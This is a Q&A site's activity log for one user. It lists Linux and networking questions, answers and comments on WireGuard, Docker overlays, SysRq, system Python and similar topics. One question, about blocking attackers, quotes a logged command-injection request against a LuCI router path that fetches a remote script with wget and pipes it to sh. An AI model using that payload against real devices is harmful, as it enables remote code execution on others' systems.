Activity for matthewsnyderâ€
| Type | On... | Excerpt | Status | Date |
|---|---|---|---|---|
| Edit | Post #292280 |
Post edited: |
— | 10 months ago |
| Comment | Post #294774 |
>Mathematical Markup Language (MathML) is an XML-based language for describing mathematical notation.
Oh God it's terrifying... They even have a Latex version in https://developer.mozilla.org/en-US/docs/Web/MathML/Guides/Deriving_the_quadratic_formula for comparison and it's like 50 times long... (more) |
— | 11 months ago |
| Edit | Post #294774 | Initial revision | — | 11 months ago |
| Answer | — |
A: How can I check texts using mathjax? Mathjax is a JS program that runs on websites and renders fenced Latex code. If you just want to see how it renders, there are countless web repls out there. https://www.mathjax.org/#demo is one, this site is another. From your question, it sounds like you are trying to debug a complex Mathjax... (more) |
— | 11 months ago |
| Edit | Post #294773 | Initial revision | — | 11 months ago |
| Question | — |
Connecting secondary wireguard VPN causes very high latency Why would adding a secondary VPN massively increase latency? Suppose I have two Wireguard VPNs, wgA and wgB. Both are from the same provider, used to access the internet in general, so allowed IPs is `0.0.0.0/0` on both. wgA is the default route, wgB is only used for traffic from a specific so... (more) |
— | 11 months ago |
| Edit | Post #294772 | Initial revision | — | 11 months ago |
| Question | — |
nmcli asking for sudo when on SSH Is there a way to make `nmcli` run without sudo over SSH? `nmcli` works without sudo on my machines. But when I SSH into them, it starts giving "insufficient privileges" errors. Very annoying when trying to remotely manage my wireguard connections remotely. Probably my fault for using network ... (more) |
— | 11 months ago |
| Edit | Post #294675 | Initial revision | — | 12 months ago |
| Answer | — |
A: What is system Python and why does it matter? The system Python is for use by your system and it's better to not use it directly. It won't be good for you or the system. Most distros will install Python in a system-wide location so that packages that need Python can work. You're not supposed to `pip install` stuff on this Python. Instead,... (more) |
— | 12 months ago |
| Edit | Post #294674 |
Post edited: |
— | 12 months ago |
| Edit | Post #294674 | Initial revision | — | 12 months ago |
| Question | — |
What is system Python and why does it matter? I've heard people say not to use "system Python", what is this and why not? What am I supposed to do instead? (more) |
— | 12 months ago |
| Edit | Post #294673 |
Post edited: |
— | 12 months ago |
| Edit | Post #294673 | Initial revision | — | 12 months ago |
| Answer | — |
A: Suitable Linux Distro for a system with 2GB RAM 2 GB is not particularly small for Linux. "Low memory distros" would be things like OpenWRT, which can run on 64 MB of RAM. Linux itself will probably take about 150 MB of RAM so this isn't the issue. Your DE (graphical desktop environment) will eat the lion's share. Probably the most bloated ... (more) |
— | 12 months ago |
| Comment | Post #294621 |
OpenSSL actually looks up the hashed names, not human friendly names. Answer here: https://unix.stackexchange.com/a/698873 Too lazy to write it up as an answer, sorry - you're welcome to self-answer. (more) |
— | 12 months ago |
| Comment | Post #294052 |
`sed` is quite old, and a lot of regex behavior we take for granted requires adding the right flags. For example, much of what's considered "standard regex syntax" today is disabled by default.
https://github.com/chmln/sd is a more modern version that has less surprising regex behavior. (more) |
— | 12 months ago |
| Comment | Post #293881 |
Not many programs are as complex as git so as to require this distinction.
When there is a need to distinguish, `low level` and `high level` are much better. They don't require a whole section in the manual explaining what they mean, and are about the same length.
I actually don't know if I... (more) |
— | 12 months ago |
| Edit | Post #294025 | Initial revision | — | over 1 year ago |
| Question | — |
Fuzzy search through multiple files When I do `rg foo /bar/baz/`, ripgrep will search for `foo` in all files under `/bar/baz/`. For every file that has matching lines, it will print each line with its line number, highlight the matching part, and also caption the lines with the name of the file as well. The filenames are a differen... (more) |
— | over 1 year ago |
| Comment | Post #293245 |
I also saw links to Zigbe2MQTT. But I didn't really understand what it was or why it was needed. Is this "equivalent to Network Manager" that I was asking about, or a driver, or something else? (more) |
— | over 1 year ago |
| Edit | Post #293233 |
Post edited: |
— | over 1 year ago |
| Edit | Post #293233 | Initial revision | — | over 1 year ago |
| Question | — |
Why does nvidia CTK config need to be manually generated at each boot? For certain GPU-accelerated tasks, such as Docker containers using GPU, I need to run the following on every boot: ``` sudo nvidia-ctk cdi generate --output /var/run/cdi/nvidia.yaml ``` Without this, GPU-dependent containers refuse to launch and `nvidia-smi` doesn't work inside containers, ... (more) |
— | over 1 year ago |
| Edit | Post #293195 | Initial revision | — | over 1 year ago |
| Answer | — |
A: How do I solve the error 'Dependencies installation failed'? Bottles has a builtin dependency manager which it looks like you are using. The manager downloads dependencies from their official location and installs them in some way that works "better" for Wine as opposed to real Windows (I don't know what exactly they do different). IIRC Bottles comes w... (more) |
— | over 1 year ago |
| Edit | Post #293194 | Initial revision | — | over 1 year ago |
| Question | — |
How to connect to Zigbee devices? I think I finally found a topic the Arch wiki doesn't cover :) I have a Zigbee USB dongle and some Zigbee-capable wireless devices. The dongle is supposed to create a network to which the devices can connect over Zigbee. How do you actually control this from Arch Linux? Is there something a... (more) |
— | over 1 year ago |
| Edit | Post #293031 | Initial revision | — | almost 2 years ago |
| Answer | — |
A: How to enable SysRq key? Thanks to the comments, I was able to determine that it is in fact working, I just wasn't looking in the right place for output. For anyone else with the same/similar issue, start watching the correct log with: `sudo dmesg -w` After that, `Alt+PrintScreen+h` will print a brief help message.... (more) |
— | almost 2 years ago |
| Edit | Post #292980 |
Post edited: |
— | almost 2 years ago |
| Edit | Post #292980 | Initial revision | — | almost 2 years ago |
| Question | — |
How to enable SysRq key? I want my SysRq key to be fully functional. When I look in `sudo sysctl -a` I see `kernel.sysrq = 1` in the output. This tells me it should be working. To test, I run `echo h > /proc/sysrq-trigger` but nothing happens. I've tried this in a terminal emulator as well as a TTY. I was expecting... (more) |
— | almost 2 years ago |
| Comment | Post #292965 |
Yes - actually I used `docker inspect $CONTAINER | jq '.[].GraphDriver'` as a quick way to see it. (more) |
— | almost 2 years ago |
| Comment | Post #292965 |
Thank you! It looks like in the output of `docker inspect $CONTAINER` there is a property `GraphDriver` that shows the overlay directories used for that container. Your answer then provides a more sophisticated way of finding the correct container. (more) |
— | almost 2 years ago |
| Comment | Post #292961 |
This was after pruning, but with your additional argument for one month, it did delete the 10 GB directory. Thank you! I would still like to find out which container caused the 10 GB, so that I can prevent the issue in the future as well. (more) |
— | almost 2 years ago |
| Edit | Post #292961 | Initial revision | — | almost 2 years ago |
| Question | — |
How to identify which Docker container an overlay is for? Docker stores data under directories like `/var/lib/docker/overlay2/xyz123`. These sometimes grow very large, and Docker does not provide good instructions for how to easily manage the space used by these. I assume IDs like `xyz123` somehow correspond to containers. Occasionally, I notice that... (more) |
— | almost 2 years ago |
| Edit | Post #292727 | Initial revision | — | almost 2 years ago |
| Answer | — |
A: How to find big files and directories? I agree with other answers: Normal TUI way is `ncdu` Normal CLI way is `du` Normal GUI way is Baobab aka "Gnome Disk Usage Analyzer" and the like But just for fun, you can build a pipeline such as the one below, which finds all files, then uses `stat` to query their size and `parallel`... (more) |
— | almost 2 years ago |
| Edit | Post #292700 | Initial revision | — | almost 2 years ago |
| Question | — |
How to automatically block IPs that try exploit URLs? I have a static website I serve with Caddy. The Caddy is inside a container. I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are: ``/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)... (more) |
— | almost 2 years ago |
| Comment | Post #292598 |
Selenium would probably work, I'll try that. Still, would be nice to see what the problem is with this.
The reason I need chromium is that other browsers appear to ignore CSS for page size (`@page`). (more) |
— | about 2 years ago |
| Edit | Post #292598 | Initial revision | — | about 2 years ago |
| Question | — |
Vulkan errors from headless chromium Headless chromium gives me many errors: ``` $ chromium codidact.com --headless [0914/093555.796025:ERROR:angleplatformimpl.cc(44)] Display.cpp:1086 (initialize): ANGLE Display::initialize error 0: Internal Vulkan error (-3): Initialization of an object could not be completed for implementation... (more) |
— | about 2 years ago |
| Edit | Post #292597 |
Post edited: |
— | about 2 years ago |
| Edit | Post #292597 | Initial revision | — | about 2 years ago |
| Question | — |
Supervisor: display, prefix and color output from child programs I want to run programs `foo` and `bar` with supervisord. Both programs produce a continuous stream of occasional output (stdout and stderr) as they run. When I run supervisor with `nodaemon=true`, I want to see output like this: ``` some message from supervisor another supervisor message F... (more) |
— | about 2 years ago |
| Edit | Post #292395 | Initial revision | — | about 2 years ago |
